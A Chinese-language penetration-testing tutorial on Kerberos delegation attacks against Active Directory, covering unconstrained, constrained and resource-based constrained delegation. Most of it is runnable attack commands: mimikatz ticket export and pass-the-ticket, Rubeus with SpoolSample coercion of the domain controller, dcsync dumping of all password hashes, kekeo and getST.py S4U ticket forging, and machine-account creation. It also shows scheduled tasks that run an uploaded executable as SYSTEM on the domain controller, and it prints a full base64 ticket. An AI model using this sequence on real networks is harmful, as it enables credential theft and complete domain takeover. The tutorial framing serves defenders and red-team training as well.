【内网横向】内网渗透横向移动:委派攻击

一、委派介绍

1、委派简介

在内网身份认证的Kerberos 认证中,需要经过两次票据认证,分别是TGT 和ST 认证。那么此时有一种服务,我们可以委托中间商帮我们进行票据认证,而不必我们亲自前往认证,那么这种服务就是委派。

但如果设置了不正确的委派,可能会被恶意利用,加速内网的沦陷。

2、委派的分类

  1. 非约束性委派:即没有服务访问限制的委派,委派了任何服务
  2. 约束性委派:有服务访问限制,只能访问指定的服务
  3. 基于资源的委派:在Windows Server 2012中引入,不需要域管理员权限就可以进行设置,可以将资源委派给受信任的账户。约束性委派不能跨域委派,而基于资源的约束性委派可以跨域和林

3、委派攻击的工作场景

此时就是web系统被赋予了委派,用户A去访问web系统的时候,KDC将会把用户A 的TGT给web,web就可以拿着A的TGT去访问文件服务器。如果用户A是域管的话,将会有很多的权限。

4、设置委派

在域内只有主机账号和服务账号才有委派属性。

主机账号:活动目录中的computers组内的计算机,也被称为机器账号。(域委派只能给某个域机器或机器上的服务账号,域管也不能给。)image-20231121162305953

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

1、创建服务账号

服务账号:如SQLServer、MYSQL等。创建服务账号:

1
2
net user test123 Admin@123 /add /domain		//创建一个普通用户
setspn -U -A priv/test test123 //注册为服务账号
image-20231121162410467

2、开启委派如图

image-20231121162446733

二、非约束性委派攻击

1、非约束性委派攻击利用原理

若某台主机被设置为了非约束委派时,当一个用户访问此主机时,会把自己的TGT发送给此主机,同时,此TGT会被保存在该主机内存(lsass.exe)中以便后续使用,如果我们可以诱导域控制器访问此主机,域控制器就会把它的TGT发送到此主机上,如果我们可以获取到与控制器的TGT就可以生成黄金票据。

利用前提:我们此时控制了web机器,并且web机器被赋予了非约束性委派。此时只需要让域管这个账号访问web机器,web机器就能拿到域管的TGT,那么就可以制作黄金票据,进而就可以访问任何机器。

1、查询非约束性委派机器和用户信息

1
2
3
4
5
//需要域用户权限,下面填写god.org就可以了。
使用Adfind查询域内非约束委派机器账号:
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询具有委派的服务账号:
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

image-20231121171335033image-20231121171358610

2、利用非约束性委派域控主动访问控制域

1、实验环境:

一台域控DC、一台域内web机器。

实验前提:我们控制了web机器,且此web机器的配置了非约束性委派。

2、实验步骤

  1. 我们在web机器上先去访问域控,是不能访问的。

    1
    dir \\dc.hack.com\c$
  2. 在域控上主动访问web机器(在实战中是需要需要等待域管去访问我们控制的这台web机器,这样就拿到了域管的TGT)。

    1
    2
    net use \\PC-WEB.HACK.COM /user:hack\administrator Admin@123
    //在域控上执行,使用域管的账号密码。来模拟域管访问web机器。

    image-20231121173326727

  3. 回到web机器,导出票据

    1
    mimikatz sekurlsa::tickets /export
  4. 进行导入票据传递获取域控权限

    1
    mimikatz kerberos::ptt [0;54acdf]-2-0-60a10000-Administrator@krbtgt-HACK.COM.kirbi
  5. 再次访问域控成功

    1
    shell dir \\dc.hack.com\c$
  6. 配合计划任务等上线DC

    1
    2
    3
    copy 123.exe \\dc.hack.com\C$
    shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\123.exe /ru system /f
    shell schtasks /run /s dc.hack.com /i /tn "test"

3、利用非约束性委派域控被动访问控制域控

1、实验环境

一台DC域控、一台OA域内机器,跟上述实验的web的性质是一样。

实验前提:控制了OA,且OA有非约束性委派。

2、实验思路

一般域管不会主动访问我们,我们可以利用windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启动的方法。域用户可以使用MS-RPRN方法强制任何运行了Spooler服务的计算机通过kerberos协议或者NTLM对攻击者选择的目标进行身份验证。

非约束性委派结合Spooler打印机服务漏洞,让域控机DC强制访问有非约束性委派的OA机器,从而拿到域管的TGT,进而控制域管。(2008可能复现不来,版本问题)

3、实验步骤

  1. 利用Rubeus在OA上以管理员权限执行以下命令,作用是每隔一秒监听来自域控机器DC的登陆信息

    1
    2
    Rubeus.exe monitor /interval:1 /filteruser:DC$
    //DC$是机器名
  2. 再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行。

    1
    SpoolSample.exe DC OA		//强制让DC访问OA
  3. Rubeus监听到票据。

  4. Rubeus导入票据

    1
    2
    3
    Rubeus.exe ptt /ticket:票据内容
    //票据内容就是长长的一大坨的Beas64编码的内容
    //注意不能有空格,且该票并不是黄金白银票据,不能访问DC的文件
  5. 利用该票据通过mimikatz获取与用户的hash

    1
    lsadump::dcsync /all /csv
  6. 得到与用户的NTLM

    1
    2
    krbtgt用户的NTLM可以制作黄金票据
    Administrator的NTLM可以进行hash传递的PTH攻击
  7. 如果制作黄金票据,可以利用计划任务等上线

    1
    2
    3
    4
    copy 123.exe \\dc.hack.com\C$
    shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\123.exe /ru
    system /f
    shell schtasks /run /s dc.hack.com /i /tn "test"

4、构造服务账户票据控制域控

1、实验前提

  1. 服务账户设置了非约束性委派

  2. 已知服务账户的密码口令信息

2、实验步骤

  1. 使用 adfifind发现服务账号test设置了非约束委派

    1
    2
    AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)
    (userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

  2. 构造服务账户TGT的票据

    1
    2
    kekeo.exe "tgt::ask /user:test /domain:hack.com /password:Admin@123
    /ticket:test.kirbi" "exit"
  3. 利用刚才伪造的TGT票据,向域服务器申请CIFS服务票据

    1
    2
    kekeo.exe "Tgs::s4u /tgt:TGT_test@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi
    /user:administrator@hack.com /service:cifs/DC.HACK.COM" "exit"
  4. 使用mimikatz将该票据注入当前的会话中

    1
    2
    kerberos::purge    #先清空票据
    mimikatz kerberos::ptt TGS_administrator@hack.com@HACK.COM_test@HACK.COM.kirbi
  5. 访问域控

    1
    shell dir \\dc.hack.com\c$

三、约束性委派攻击

1、添加约束性委派

2、查询约束性委派机器和用户信息

1
2
3
4
5
//需要域用户权限
查询约束委派机器账户:
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询约束委派服务账户
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

至此限制了我们只能打DC这一台机器,且只能访问cifs服务,不能访问其他服务,无法上传木马上线。

2、实验场景

实验前提:我们已经控制了ZS的电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的HASH值。

3、实验步骤

  1. 使用mimikatz获取本地机器账户有约束性委派权限的NTLM Hash

    1
    mimikatz sekurlsa::logonpasswords
  2. 使用kekeo申请配置了约束委派机器账户PC-ZS$的TGT

    1
    kekeo "tgt::ask /user:PC-ZS$ /NTLM:bd41aace231471169d848817a2c46178 /domain:hack.com" "exit"
  3. 利用TGT通过伪造S4U请求以administrator身份访问PC-ZS的ST

    1
    2
    kekeo "tgs::s4u /tgt:TGT_PC-ZS$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi
    /user:Administrator@hack.com /service:cifs/dc.hack.com" "exit"
  4. 注入票据

    1
    2
    3
    kerberos::purge    #先清空票据
    mimikatz kerberos::ptt
    TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi
  5. 访问域控

    1
    2
    shell dir \\dc.hack.com\C$
    //注意,此时只有CIFS文件共享服务票据,没有host服务票据票据。

四、基于资源的约束性委派攻击

一、基于资源的约束性委派介绍

基于资源的约束性委派:为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置相关属性,⽽是将设置委派的权限交给了服务机器。服务机器在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性,就可以进行基于资源的约束委派。

2008 及以下的域控没有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性,只有 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器才有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性

二、攻击前提

  1. 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
  2. 可以创建机器账户(或已知机器账户)

什么用户具备修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限呢?

  1. 将该主机加入域的用户账户
    账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了!
  2. Account Operator组成员
  3. 该主机的机器账户

谁可以创建机器账户呢?

对于一般域成员,由msDS-MachineAccountQuota(可以在域控)属性决定,默认可以创建10个机器账户。

可以在域控中输入 adsiedit.msc(ADSI编辑器)中右击-“连接到”-点击确定,右键 “DC=xxx DC=”com” 单击“属性”,ms-DS-MachineAccountQuota属性值为10,说明了一个普通的域用户可以将10台主机加入到域

三、环境配置

域:god.org

  • 域控:192.168.31.58(Windows server 2012)
  • stu1主机:192.168.31.52(win7域机器)

1、新建一个普通域用户test

image-20240319163113791

2、将之前加入域的win7退出域,修改计算机名,使用普通域用户test再加入域

image-20240319163700794

重启计算机,成功加入域god.org,并使用test 域用户进入计算机

image-20240319163808774

四、目标查询

为了实验真实,直接用cs来操作

查看本地管理员组

1
net localgroup administrators

image-20240319164805983

可以看到test用户不在本地管理员组中,test用户负责将stu2机器加入到域中,那么我们拿到这个test用户权限之后,就可以拿下域内stu2或其他被test用户加入到域内的机器

1、核心目标查询(由机器找到对应的用户)

核心目标:找到可修改该机器msDS-AllowedToActOnBehalfOfOtherIdentity的用户,也就是查询机器是由哪个域用户添加进域的

1
2
3
4
5
6
7
8
9
10
//通过adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 192.168.10.2 -u yu -up yu.com -b "DC=test,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

//相关参数讲解:
-h:接域控制器的IP
-u:接用于初始绑定到域控制器的用户名
-up:接用户的密码
-b:接域的名称
-f:接LDAP过滤条件,执行搜索的对象类别,在这里是computer,即所有计算机账户
mS-DS-CreatorSID:是要检索创建计算机账户时所使用的用户安全标识符(SID)

image-20240319170857449

我们知道将机器加入到域的域用户SID值,却不知道对应的用户名

查询SID的方法有很多

1
2
3
4
5
6
7
8
//1、查询当前用户的SID值
whoami /user

//2、域用户可以利用wmic查询域内所有账户的SID值
wmic useraccount get /all | findstr <SID值>

//3、使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier <SID值>;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

image-20240319171959713

可以看到,该SID值对应的正好是当前用户test

1、核心目标查询(由当前用户找到对应的机器)

核心目标:由已知用户查找到通过该用户加入域中的机器,需要使用PowerView.ps1工具

1
2
3
4
5
6
7
8
# 查用户账户SID
whoami /all

# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
Powershell -ExecutionPolicy Bypass
powershell-import PowerView.ps1(不论报错)
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights

image-20240319210053534

五、攻击利用

1、攻击方式1:修改委派属性拿下主机

关键:能修改那台服务资源的委派属性,就可以拿下该台主机

利用条件:

  1. 允许创建机器账户
  2. 具有管理主机加入域的用户账户

1、添加机器账户

方法一:利用powermad 添加机器账户

用到Powermad.ps1 脚本,往域中添加一个机器账户test1$

1
2
3
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "Admin@12345" -AsPlainText -Force)

这里在cs 中执行失败,推测应该使用msf 类型的交互式powershell执行。不过作为练习,可以直接在靶机中执行,将会执行成功。

此时就有了⼀个域机器账户test1$,通过net group "domain computers" /domain命令可以查看到

image-20240319174325921

方法二:利用Sharpmad工具添加机器用户

用到Sharpmad工具,Powermad 的 C# 版本,都方便 CobaltStrike 内存加载

1
Sharpmad.exe MAQ -Action new -MachineAccount test1 -MachinePassword pass@1234!

方法三:addcomputer.py 脚本

1
2
3
python3 addcomputer.py -computer-name machine1 -computer-pass 1qaz@WSX -dc-ip 192.168.11.11 attack.cn/zhang:321.com -method SAMR -debug

python3 addcomputer.py redteam.lab/ken:123.com -method LDAPS -computer-name CPT01\$ -computer-pass Passw0rd -dc-ip 10.10.2.20

方法四:使用bloodyAD工具创建机器账户

1
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd'

2、获取新增机器用户的SID

获取新建的机器用户test1$的sid 值

方式一:基于Microsoft.ActiveDirectory.Management.dll at master · 3gstudent/test工具

1
2
3
import-module .\Microsoft.ActiveDirectory.Management.dll
Get-MachineAccountAttribute -MachineAccount test1$ -Attribute servicePrincipalName(无论报错)
Get-ADComputer test1$ -Properties *

image-20240319175512306

方式二:使用PowerView工具查询机器账户SID

1
2
3
Powershell -ExecutionPolicy Bypass
import-module .\PowerView.ps1
Get-NetComputer test1 -Properties objectsid(这里不加$)

image-20240320105221553

3、设置基于资源的委派属性

使用PowerView脚本修改机器用户的msds-allowedtoactonbehalfofotheridentity值:

1
2
3
4
Powershell -ExecutionPolicy Bypass
import-module .\PowerView.ps1

powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<SID值>";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer <主机名称> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

6c2872a780d549f4a5d8ebd9b047b

查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)

1
powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity

9322a358955243aaa4a10af37cf538c6

1
2
3
4
# 域控查询命令
Get-ADComputer SERVER2012 -Properties PrincipalsAllowedToDelegateToAccount
# 清除属性
Set-DomainObject SERVER2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

4、票据申请

方法一:

使⽤ impacket 的 getST.py ⽣成票据(建议使⽤ socks5),会在当前⽬录下⽣administrator.ccache ⽂件:

1
2
pip install six pyasn1 impacket
python getST.py -dc-ip 192.168.10.2 test.lab/test\$:123456 -spn cifs/ADMIN--PC.test.lab -impersonate administrator

864b8f14979f4217bf2d096044ea6c39

mimikatz导入票据

1
mimikatz "kerberos::ptc administrator.ccache"

注入后,成功访问

54fd16ba239a40fb9af1400fde4f21c4

方法二:

使用Rubeus申请票据

1
2
3
4
5
6
7
8
# 通过Rubeus申请机器账户CPT01$的TGT
Rubeus.exe asktgt /user:CPT01$ /password:Passw0rd /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap

# 使用S4U2Self协议申请TGS并且使用S4U2Proxy协议请求cifs服务票据ST,注入内存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/SERVER2012.redteam.lab /dc:DC2016.redteam.lab /nowrap /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID8jCCA+5hggPqMIID5qADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA6wwggOooAMCARKhAwIBAqKCA5oEggOWx0emir2j0Me0AEZiGIF6iCN9gm6S9/VwFmYy8F9s5+FFyHDmSWjfLJotWqg/BXyB94ueiRrMXRkOYhKxLfUaJ4OJyGLxTv/oHQ9eM5EBe1QG1h5IufgR6T0Z23wknxOQA/JOP32HIoroCn84tHHlWrDx8JVu2bCKqfR3pqmnQCZXfb/3ydfNeqdf3hlF917Py5cMWKtDWBiMUx9HdtGto3d65JDaZTvetV5inE3+Ze+Z+dt/pE7CGtO1CrXjBVKmZTDq6i6oxOlOPcZo30TTIF0DW2jQBH1fZmn4z6o7Wv8uD/SycHV+BXv9Yjv4b0ESAaqZ4zt+zNvcBT0jrGTgrdOmvgKuc3wM0uHvfOOShx+TBrmjYbnrjd1vyTSbq/q4Ugyon+0hsQng5Dxb78QwfukVyTGfKuEqp9ar63kav99xl7EJUyv+TfhJsbYWBRH0ebyVl62eFkDi+cgPFF3isvdNao8Oc6zu+JJzbV3XguPFtmJlBUGYP/IWfxkfRg24tYvo+gaYW3NCuvp/yavpCT9WakKmwhKpXPQlLVZ5dPIuBHfiYY9eCRBD7L5WtXhgRh3ELLhA7UAkB7Q8rB9kle3QIdnHdQMeqBTPvv3k5JC9yybtYOg184w00OR0MCO88697KcvS0mbUN30XRp0CMwKSmKftIPbMvGjflzm5yWypezJ/I7cNwh+NyaFP2WE0kSh0zjR7acFe7NzK6eGMpJCksEuTa1Gp6FpJ1g2g2s3UqWyIyJpT8Rw9x/VMSbInvgfZV649Doh6OjbYPvct3WplSOo+U12Abec+Dog4zg4kLhBQ9zx6I5YGOh1zscS5A9ig0lzt8ZTa+H4vG3UGy7QcDsy624pUZ5GM2vXgyPVmVKBUrLmRFjPqJKd2xW2D5Vve9vF9QD8ZiGjJkjawI1xoo4OyeuRO1QBWWaR2U7zyWnj/NRW0MeCQEvw9ay6MlT5/yLNf6XQG+2z/n1zrLYkOxjH7LhL6qFjPDA9ECzF+bBs09ahifFruIxLC24EjZNCJ42rWZig6MyOppUmSdpDCoBrX0Dtwmw+3rPTCkzlUSpSQ2Axf4EdrA8mFtY370uJLlPgqqiRQPOeM5lxGFfgxeYwwYUab96CTgfo1qRIAHxIYqGZ3Qb0B6EOMzjGLeyvfK5p8Uv9DT1M3kQJnAgi5rlrlt8KmYiYAhgLa/okVKSxUIjfE8rgLucKrRTz1k2NevBR3o4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQ75YaW7Y0HIYQtAyZ4UavYaENGwtSRURURUFNLkxBQqITMBGgAwIBAaEKMAgbBkNQVDAxJKMHAwUAQOEAAKURGA8yMDIyMDUxODE1MDg0MFqmERgPMjAyMjA1MTkwMTA4NDBapxEYDzIwMjIwNTI1MTUwODQwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLcmVkdGVhbS5sYWI=

# 访问
dir \\SERVER2012.redteam.lab\c$

参考链接

基于资源的约束委派攻击-CSDN博客

奇安信攻防社区-红队域渗透技术:委派攻击汇总(全) (butian.net)